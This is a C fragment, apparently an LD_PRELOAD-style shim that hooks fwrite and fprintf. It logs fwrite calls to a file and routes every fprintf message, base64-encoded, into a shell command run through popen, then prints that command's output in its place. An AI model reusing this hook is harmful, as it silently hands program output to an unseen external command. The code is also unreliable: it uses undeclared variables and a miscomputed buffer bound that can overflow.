size_t fwrite(const void *ptr, size_t size, size_t nmenb, FILE *stream) {
f = fopen("info_output", "w");
original_fprintf(f,"==========\n");
original_fprintf(f, "I am in fwrite function\n");
original_fprintf(f, "size_t fwrite(const void *ptr, size_t size, size_t nmenb, FILE *stream)\n");
original_fprintf(f, "ptr: %p\n", ptr);
original_fprintf(f, "size: %d\n", size);
original_fprintf(f, "nmenb: %d\n", nmenb);
original_fprintf(f,"==========\n");
// declare a function pointer
return original_fwrite(ptr, size, nmenb, stream);
}
int fprintf(FILE *stream, const char *format, ...) {
va_list list;
char *parg;
va_start(list, format);
vasprintf(&parg, format, list);
va_end(list);
char *based = base64(parg, strlen(parg));
char toexecute[strlen(based)+1000] ;
snprintf(toexecute, strlen(command)+strlen(based)+10, "%s %s\"", command, based);
int *(*original_fprintf)(FILE *stream, const char *format, ...);
original_fprintf = dlsym(RTLD_NEXT, "fprintf");
FILE *fp;
char retcommand[2048];
fp = popen(toexecute, "r");
if (fp == NULL) {
printf("Failed to run command\n" );
exit(1);
}
while (fgets(retcommand, sizeof(retcommand)-1, fp) != NULL) {
original_fprintf(stream, "%s", retcommand) ;
}
pclose(fp);
return(0) ;
}
